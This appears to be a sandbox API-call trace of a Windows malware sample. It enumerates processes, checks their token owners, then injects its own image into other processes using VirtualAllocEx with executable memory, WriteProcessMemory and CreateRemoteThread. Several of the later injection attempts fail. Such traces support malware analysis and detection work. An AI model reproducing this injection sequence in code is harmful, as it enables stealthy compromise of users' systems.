	[0102.435] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0102.437] SetLastError (dwErrCode=0x0) 
	[0102.437] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb6c) returned 0x160
	[0102.437] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x31c) returned 1
	[0102.437] GetTokenInformation (in: TokenHandle=0x31c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.438] GetProcessHeap () returned 0x240000
	[0102.438] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.438] GetTokenInformation (in: TokenHandle=0x31c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.438] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.571] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9a90, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.572] GetProcessHeap () returned 0x240000
	[0102.572] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.572] CloseHandle (hObject=0x160) returned 1
	[0102.573] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0102.575] SetLastError (dwErrCode=0x0) 
	[0102.575] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb7c) returned 0x160
	[0102.575] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x304) returned 1
	[0102.576] GetTokenInformation (in: TokenHandle=0x304, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.576] GetProcessHeap () returned 0x240000
	[0102.576] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.576] GetTokenInformation (in: TokenHandle=0x304, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.576] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.578] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9630, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.579] GetProcessHeap () returned 0x240000
	[0102.580] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.580] CloseHandle (hObject=0x160) returned 1
	[0102.580] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0102.582] SetLastError (dwErrCode=0x0) 
	[0102.582] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xbb0) returned 0x0
	[0102.582] CloseHandle (hObject=0x0) returned 0
	[0102.582] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0102.584] SetLastError (dwErrCode=0x0) 
	[0102.584] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xbd8) returned 0x0
	[0102.584] CloseHandle (hObject=0x0) returned 0
	[0102.584] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0102.586] SetLastError (dwErrCode=0x0) 
	[0102.586] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb98) returned 0x160
	[0102.586] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x320) returned 1
	[0102.587] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.587] GetProcessHeap () returned 0x240000
	[0102.587] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.587] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.587] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.588] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.590] GetProcessHeap () returned 0x240000
	[0102.590] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.590] CloseHandle (hObject=0x160) returned 1
	[0102.590] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0102.592] SetLastError (dwErrCode=0x0) 
	[0102.592] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x7b4) returned 0x160
	[0102.592] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x324) returned 1
	[0102.592] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.592] GetProcessHeap () returned 0x240000
	[0102.592] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.592] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.592] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.594] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9a90, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.595] GetProcessHeap () returned 0x240000
	[0102.595] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.595] CloseHandle (hObject=0x160) returned 1
	[0102.595] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0102.597] SetLastError (dwErrCode=0x0) 
	[0102.597] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x804) returned 0x160
	[0102.598] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x328) returned 1
	[0102.598] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.598] GetProcessHeap () returned 0x240000
	[0102.598] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.598] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.598] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.599] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9630, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.601] GetProcessHeap () returned 0x240000
	[0102.601] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.601] CloseHandle (hObject=0x160) returned 1
	[0102.601] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 0
	[0102.603] CloseHandle (hObject=0x17c) returned 1
	[0102.603] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x114540, nSize=0x64 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cuserspublicdhrqu.exe")) returned 0x3b
	[0102.603] SetLastError (dwErrCode=0x0) 
	[0102.603] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x434) returned 0x17c
	[0102.605] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0102.606] SetLastError (dwErrCode=0x0) 
	[0102.606] VirtualAllocEx (hProcess=0x17c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x13fbf0000
	[0103.116] WriteProcessMemory (in: hProcess=0x17c, lpBaseAddress=0x13fbf0000, lpBuffer=0x13fbf0000*, nSize=0x163000, lpNumberOfBytesWritten=0x114508 | out: lpBuffer=0x13fbf0000*, lpNumberOfBytesWritten=0x114508*=0x163000) returned 1
	[0103.507] CreateRemoteThread (in: hProcess=0x17c, lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf7014, lpParameter=0x13fbf0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c
	[0103.526] Sleep (dwMilliseconds=0x1f4) 
	[0104.447] SetLastError (dwErrCode=0x0) 
	[0104.448] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x4a8) returned 0x1b0
	[0104.448] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0104.448] SetLastError (dwErrCode=0x0) 
	[0104.448] VirtualAllocEx (hProcess=0x1b0, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x13fbf0000
	[0104.675] WriteProcessMemory (in: hProcess=0x1b0, lpBaseAddress=0x13fbf0000, lpBuffer=0x13fbf0000*, nSize=0x163000, lpNumberOfBytesWritten=0x114508 | out: lpBuffer=0x13fbf0000*, lpNumberOfBytesWritten=0x114508*=0x163000) returned 1
	[0105.015] CreateRemoteThread (in: hProcess=0x1b0, lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf7014, lpParameter=0x13fbf0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340
	[0105.017] Sleep (dwMilliseconds=0x1f4) 
	[0105.844] SetLastError (dwErrCode=0x0) 
	[0105.844] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x530) returned 0x268
	[0105.847] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0105.847] SetLastError (dwErrCode=0x0) 
	[0105.847] VirtualAllocEx (hProcess=0x268, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x13fbf0000
	[0105.868] WriteProcessMemory (in: hProcess=0x268, lpBaseAddress=0x13fbf0000, lpBuffer=0x13fbf0000*, nSize=0x163000, lpNumberOfBytesWritten=0x114508 | out: lpBuffer=0x13fbf0000*, lpNumberOfBytesWritten=0x114508*=0x163000) returned 1
	[0106.508] CreateRemoteThread (in: hProcess=0x268, lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf7014, lpParameter=0x13fbf0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0106.510] Sleep (dwMilliseconds=0x1f4) 
	[0107.125] SetLastError (dwErrCode=0x0) 
	[0107.125] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x408) returned 0x390
	[0107.126] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0107.126] SetLastError (dwErrCode=0x0) 
	[0107.126] VirtualAllocEx (hProcess=0x390, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0107.126] GetLastError () returned 0x1e7
	[0107.126] CloseHandle (hObject=0x390) returned 1
	[0107.127] Sleep (dwMilliseconds=0x1f4) 
	[0107.796] SetLastError (dwErrCode=0x0) 
	[0107.796] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x180) returned 0x20c
	[0107.796] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0107.796] SetLastError (dwErrCode=0x0) 
	[0107.796] VirtualAllocEx (hProcess=0x20c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0107.797] GetLastError () returned 0x1e7
	[0107.797] CloseHandle (hObject=0x20c) returned 1
	[0107.797] Sleep (dwMilliseconds=0x1f4) 
	[0108.681] SetLastError (dwErrCode=0x0) 
	[0108.681] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x750) returned 0x274
	[0108.682] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0108.682] SetLastError (dwErrCode=0x0) 
	[0108.682] VirtualAllocEx (hProcess=0x274, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0108.682] GetLastError () returned 0x1e7
	[0108.682] CloseHandle (hObject=0x274) returned 1
	[0108.683] Sleep (dwMilliseconds=0x1f4) 
	[0109.326] SetLastError (dwErrCode=0x0) 
	[0109.326] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x778) returned 0x338
	[0109.327] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0109.327] SetLastError (dwErrCode=0x0) 
	[0109.327] VirtualAllocEx (hProcess=0x338, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0109.327] GetLastError () returned 0x1e7
	[0109.327] CloseHandle (hObject=0x338) returned 1
	[0109.328] Sleep (dwMilliseconds=0x1f4) 
	[0111.306] SetLastError (dwErrCode=0x0) 
	[0111.306] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x78c) returned 0x388
	[0111.306] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0111.306] SetLastError (dwErrCode=0x0) 
	[0111.306] VirtualAllocEx (hProcess=0x388, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0111.306] GetLastError () returned 0x1e7
	[0111.307] CloseHandle (hObject=0x388) returned 1
	[0111.307] Sleep (dwMilliseconds=0x1f4) 
	[0112.024] SetLastError (dwErrCode=0x0) 
	[0112.024] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x494) returned 0x35c
	[0112.025] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0112.025] SetLastError (dwErrCode=0x0) 
	[0112.025] VirtualAllocEx (hProcess=0x35c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0112.025] GetLastError () returned 0x1e7
	[0112.025] CloseHandle (hObject=0x35c) returned 1
	[0112.025] Sleep (dwMilliseconds=0x1f4) 
	[0112.611] SetLastError (dwErrCode=0x0) 
	[0112.611] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x688) returned 0x35c
	[0112.611] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0112.611] SetLastError (dwErrCode=0x0) 
	[0112.611] VirtualAllocEx (hProcess=0x35c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0112.612] GetLastError () returned 0x1e7
	[0112.612] CloseHandle (hObject=0x35c) returned 1
	[0112.612] Sleep (dwMilliseconds=0x1f4) 
	[0113.219] SetLastError (dwErrCode=0x0) 
	[0113.219] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x10c) returned 0x35c
	[0113.219] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0113.219] SetLastError (dwErrCode=0x0) 
	[0113.219] VirtualAllocEx (hProcess=0x35c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0113.219] GetLastError () returned 0x1e7
	[0113.219] CloseHandle (hObject=0x35c) returned 1
	[0113.220] Sleep (dwMilliseconds=0x1f4) 
	[0114.177] SetLastError (dwErrCode=0x0) 
	[0114.177] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x24c) returned 0x35c
	[0114.178] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0114.178] SetLastError (dwErrCode=0x0) 
	[0114.178] VirtualAllocEx (hProcess=0x35c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0114.178] GetLastError () returned 0x1e7
	[0114.178] CloseHandle (hObject=0x35c) returned 1
	[0114.178] Sleep (dwMilliseconds=0x1f4) 
	[0115.380] SetLastError (dwErrCode=0x0) 
	[0115.380] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x758) returned 0x35c
	[0115.381] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0115.381] SetLastError (dwErrCode=0x0) 
	[0115.381] VirtualAllocEx (hProcess=0x35c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0115.381] GetLastError () returned 0x1e7
	[0115.381] CloseHandle (hObject=0x35c) returned 1
	[0115.382] Sleep (dwMilliseconds=0x1f4) 
	[0116.126] SetLastError (dwErrCode=0x0) 
	[0116.126] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x174) returned 0x35c
	[0116.127] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0116.127] SetLastError (dwErrCode=0x0) 
	[0116.127] VirtualAllocEx (hProcess=0x35c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0116.127] GetLastError () returned 0x1e7
	[0116.127] CloseHandle (hObject=0x35c) returned 1
	[0116.127] Sleep (dwMilliseconds=0x1f4) 
	[0117.064] SetLastError (dwErrCode=0x0) 
	[0117.064] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x2a8) returned 0x35c
	[0117.065] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0117.065] SetLastError (dwErrCode=0x0) 
	[0117.065] VirtualAllocEx (hProcess=0x35c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0117.065] GetLastError () returned 0x1e7
	[0117.066] CloseHandle (hObject=0x35c) returned 1
	[0117.066] Sleep (dwMilliseconds=0x1f4) 
	[0117.794] SetLastError (dwErrCode=0x0) 
	[0117.794] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x80c) returned 0x35c
	[0117.794] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0117.794] SetLastError (dwErrCode=0x0) 
	[0117.794] VirtualAllocEx (hProcess=0x35c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0117.795] GetLastError () returned 0x1e7
	[0117.795] CloseHandle (hObject=0x35c) returned 1
	[0117.795] Sleep (dwMilliseconds=0x1f4) 
	[0118.840] SetLastError (dwErrCode=0x0) 
	[0118.840] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x81c) returned 0x35c
	[0118.841] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0118.841] SetLastError (dwErrCode=0x0) 
	[0118.841] VirtualAllocEx (hProcess=0x35c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0118.841] GetLastError () returned 0x1e7
	[0118.841] CloseHandle (hObject=0x35c) returned 1
	[0118.842] Sleep (dwMilliseconds=0x1f4) 
	[0119.714] SetLastError (dwErrCode=0x0) 
	[0119.714] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x82c) returned 0x394
	[0119.715] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0119.715] SetLastError (dwErrCode=0x0) 
	[0119.715] VirtualAllocEx (hProcess=0x394, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0119.715] GetLastError () returned 0x1e7
	[0119.715] CloseHandle (hObject=0x394) returned 1
	[0119.716] Sleep (dwMilliseconds=0x1f4) 
	[0120.648] SetLastError (dwErrCode=0x0) 
	[0120.648] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x83c) returned 0x394
	[0120.649] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0120.649] SetLastError (dwErrCode=0x0) 
	[0120.649] VirtualAllocEx (hProcess=0x394, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0120.649] GetLastError () returned 0x1e7
	[0120.649] CloseHandle (hObject=0x394) returned 1
	[0120.649] Sleep (dwMilliseconds=0x1f4) 
	[0121.630] SetLastError (dwErrCode=0x0) 
	[0121.630] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x84c) returned 0x394
	[0121.631] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0121.631] SetLastError (dwErrCode=0x0) 
	[0121.631] VirtualAllocEx (hProcess=0x394, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0121.631] GetLastError () returned 0x1e7
	[0121.631] CloseHandle (hObject=0x394) returned 1
	[0121.631] Sleep (dwMilliseconds=0x1f4) 
	[0122.981] SetLastError (dwErrCode=0x0) 
	[0122.981] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x85c) returned 0x394
	[0122.982] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0122.982] SetLastError (dwErrCode=0x0) 
	[0122.982] VirtualAllocEx (hProcess=0x394, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
